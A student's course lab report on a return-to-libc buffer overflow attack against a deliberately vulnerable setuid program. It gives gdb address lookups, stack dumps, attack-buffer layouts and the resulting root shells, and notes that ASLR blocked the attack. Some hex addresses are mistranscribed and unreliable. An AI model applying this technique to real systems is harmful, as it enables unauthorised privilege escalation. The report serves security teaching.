CSE 608 Fall 2013 Project 1 Report

Vinay Krishnamurthy (108800980)

September 17, 2013

Summary

This project was an exercise on return-to-libc attacks. We were given a sample program with buffer overflow vulnerability in it. This program would read in 40 bytes from a file, and copy them to a 12 byte buffer. Our task was to write exploits that would write 40 bytes data onto the file, which when read by the vulnerable program would spawn a root shell. We were not supposed to inject any code onto the stack, like a normal stack smashing attack. Instead, we had to add the *system* function's entry point in the stack, which would be invoked from the vulnerable program function after overflow.

How did I do it?

General

In order to get the addresses of system, exit, and setuid function, I followed the steps provided in the project instructions guide. The following gdb snippet shows the addresses of the three libc functions, on my machine, used in the exploit.

```
(gdb) p system
$1 = {<text variable, no debug info>} 0x169bb0 <system>
(gdb) p exit
$2 = {<text variable, no debug info>} 0x15d230 <exit>
(gdb) p setuid
$3 = {<text variable, no debug info>} 0x1cc240 <setuid>
(gdb)
```

Figure 1: Load addresses of system, exit and setuid functions

I tried obtaining the addresses of the *libc* functions using *dlsym* function programmatically. This is documented well in [1] ¹. However, the addresses reported by this function were not correct, on my 32-bit Ubuntu 10.04 VM². Hence, I could not use the values returned by this function. Peculiarly, this function reported correct values on a 64-bit Ubuntu 12.04 VM.

Additionally, I added /bin/sh as an environment variable, per the instructions provided. After adding it as an environment variable, getting the pointer value of this environment variable was based on guesses, and I had to run retlib twice or thrice, to get the right value. The value that worked on my 32-bit Ubuntu VM was Oxbffffea2.

Task 1

After obtaining the system and exit load addresses, I took a look at the frame of *bof* function of retlib.c. I used this info to figure out where to place the address of system, and it's parameter: "bin/sh", and address of exit function.

¹Although this article talks about in detail, about how to perform a return-to-libc attack, I went through it after I finished tasks 1 and 2 using hardcoded addresses. I used this article as a reference mainly for *dlsym*

²For this project, I've worked on my local VM, and **not** on SEED_Ubuntu image provided to the class. Hence the values I've reported may not match with the ones on SEED_Ubuntu

The following gdb snippet shows the frame information of bof when the local buffer has not overflown, yet.

```
(gdb) info frame
Stack level 0, frame at 0xbffff5a0:
 eip = 0x804849a in bof (retlib.c:12); saved eip 0x80484f2
 called by frame at 0xbffff5d0
 source language c.
 Arglist at 0xbffff598, args: badfile=0x804b008
 Locals at Oxbffff598, Previous frame's sp is Oxbffff5a0
 Saved registers:
  ebp at 0xbffff598, eip at 0xbffff59c
(gdb) info register esp
               0xbffff570
                                  0xbffff570
esp
(gdb) x/16x 0xbffff570
Oxbffff570:
                                      0x00288860
                                                        0x00288ff4
                                                                           0x0000000
                   0x0000001
                                      0x0018d1fc
Oxbffff580:
                                                        0x080485e2
                                                                           0x080485e0
                   0xbffff598
Oxbffff590:
                   0x0000001
                                      0x00288ff4
                                                        0xbffff5c8
                                                                           0x080484f2
Oxbffff5a0:
                   0x0804b008
                                      0x080485e0
                                                        0x08048530
                                                                           0xbffff5c8
(gdb) p &buffer
$3 = (char (*)[12]) 0xbffff584
(gdb) disassemble main
Dump of assembler code for function main:
   /* Snipped to conserve space */
   0x080484ed <+42>:
                            call
                                    0x8048494 <bof>
   0x080484f2 < +47>:
                            movl
                                    $0x80485ea,(%esp)
   /* Snipped to conserve space */
End of assembler dump.
(gdb) frame 1
#1 0x080484f2 in main (argc=1, argv=0xbffff674) at retlib.c:20
20
            bof(badfile);
(gdb) info register ebp
                                  0xbffff5c8
               0xbffff5c8
ebp
```

Figure 2: Frame info of bof

We can see that the stack pointer, esp, is currently at Oxbfffff570, while the previous frame pointer, ebp, is at Oxbfffff598 (value = Oxbfffff528). This is the frame pointer for main, from where bof is called. The return address is stored at Oxbfffff59c, and the local buffer is at Oxbfffff584. This tells us that we can write random characters of 24 bytes (Oxbfffff59c - Oxbfffff584), but the contents of Oxbfffff59c will have to be the address of system function. The address of exit function will have to follow this. The last 4 bytes will be for the pointer to the "bin/sh" environment variable. Here's a depiction of how the attack buffer should look like:

```
[ Pad characters | system entry point ] exit entry point ] pointer to "/bin/sh" env variable
```

Table 1: Attack buffer contents

Since the first 24 bytes (padding bytes) of the attack buffer really can be anything, I chose 0x90 (Intel opcode for nop) as the padding characters. After compiling and executing $exploit_1$ wrote

to badfile file, in the pattern mentioned above. The contents of badfile were as shown in Figure 3. After bof function reads this file, the contents of the stack are as shown in Figure 4.

Figure 3: Contents of badfile

(gdb) info re	gister esp					
esp	0xbffff570	0xbffff570				
(gdb) x/16x 0xbffff570						
Oxbffff570:	0xbffff584	0x0000001	0x00000028	0x0804b008		
Oxbffff580:	0xbffff598	0x90909090	0x90909090	0x90909090		
Oxbffff590:	0x90909090	0x90909090	0x90909090	0x00169bb0		
Oxbfffff5a0:	0x0015d230	0xbffffed7	0x080485fb	0xbffff5c8		

Figure 4: Overflown buffer

Here the return address stored at <code>Oxbfffff99c</code> has the start address of <code>system</code> function. Continuing the execution, I can see that the execution jumps to <code>system</code> function.

```
(gdb) disp/i $pc
1: x/i $pc
=> 0x80484bc <bof+40>:
                                      $0x1, %eax
                              mov
(gdb) si
14
          }
1: x/i $pc
=> 0x80484c1 <bof+45>:
                               leave
0x080484c2 in bof (badfile=Cannot access memory at address 0x90909098
) at retlib.c:14
14
          }
1: x/i $pc
=> 0x80484c2 <bof+46>:
                               ret
(gdb)
0x00169bb0 in system () from /lib/tls/i686/cmov/libc.so.6
1: x/i $pc
=> 0x169bb0 <system>:
                              sub
                                     $0xc, %esp
(gdb) info register eip
               0x169bb0
                            0x169bb0 <system>
eip
(gdb)
```

Figure 5: Instruction execution sequence after overflow

After running the *retlib* executable, I see that a root shell is spawned.

```
vinay@vinay-laptop:~/CSE608/Proj1$ ./retlib
sh-4.1# id
uid=1000(vinay) euid=0(root)
sh-4.1# exit
exit
vinay@vinay-laptop:~/CSE608/Proj1$
```

Figure 6: Root shell, wohoo

As address of *exit* function is included as return address for *system* function, after exiting the root shell, the program doesn't segfault.

Task 2

Task 2 implementation did not differ much from the implementation of the first task. I had to change the buffer contents to accommodate *setuid* function and it's parameter. Here's how the buffer was packed for this task:

Table 2: Attack buffer contents

(gdb) info register esp						
esp	0xbffff570	0xbffff570				
(gdb) x/16x 0xbffff570						
Oxbffff570:	0xbffff584	0x0000001	0x00000028	0x0804b008		
Oxbffff580:	0xbffff598	0x90909090	0x90909090	0x90909090		
Oxbffff590:	0x90909090	0x90909090	0x90909090	0x001cc240		
Oxbffff5a0:	0x00169bb0	0x00000000	0xbffffed7	0xbffff5c8		

Figure 7: Overflown buffer

Interestingly, I was able to get a root shell, even when bash shell was set as the default shell, without using the *setuid* function. However the euid with bash shell was set to root, while the real uid was still the uid of my user name. The only change after using *setuid* function was that the real uid changed to root. Additionally, *retlib* crashed as *exit* function was no longer part of the attack buffer, and the program segfaulted after typing in exit.

```
vinay@vinay-laptop:~/CSE608/Proj1$ ./retlib
sh-4.1# id
uid=0(root)
sh-4.1# exit
exit
Segmentation fault
vinay@vinay-laptop:~/CSE608/Proj1$
```

Figure 8: Root shell again, wohoo

Task 3

I was not able to get the root shell with the existing framework, after turning on ASLR. The addresses of all the *libc* functions were randomized, and the program would just segfault. This is because the address is randomized everytime *retlib* is executed. The following figure shows how entry point for *system* function changed between 3 runs:

```
(gdb) p system
$1 = {<text variable, no debug info>} 0xb03bb0 <system>
(gdb) p system
$2 = {<text variable, no debug info>} 0x14bbb0 <system>
(gdb) p system
$3 = {<text variable, no debug info>} 0x632bb0 <system>
```

Figure 9: ASLR's effect on system function's load address

One thing to note is that the last 12 bits are always constant, because ASLR cannot randomize the page offset of a virtual address. It should also be noted that ASLR on a 32 bit machine can be broken by brute force attack, which is discussed in [2]. But, it will not work in this case, as the we're writing the attack buffer contents to a file, which is then read by *retlib*. It is difficult to guess how *system*'s entry point will be randomized when *retlib* runs.

Submitted file contents

The submitted tar file has the following files:

- 1) exploit_1.c Has exploit code for task 1.
- 2) exploit_2.c Has exploit code for task 2.
- 3) run_task1.sh Shell script to create badfile and run retlib (task 1).
- 4) run_task2.sh Shell script to create badfile and run retlib (task 2).

References

- [1] Returning into libc tutorial http://www.win.tue.nl/~aeb/linux/hh/hh-10.html#ss10.4
- [2] H. Shacham, M. Page, B. Pfaff, E. Goh, N. Modadugu, D. Boneh, On the Effectiveness of Address-Space Randomization, in *Proceedings of 11th ACM Conference on Computer and Communications Security, Oct.* 2004